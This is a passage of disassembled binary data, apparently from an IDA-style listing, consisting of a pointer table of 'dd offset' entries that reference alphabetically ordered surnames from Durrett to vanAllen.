		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
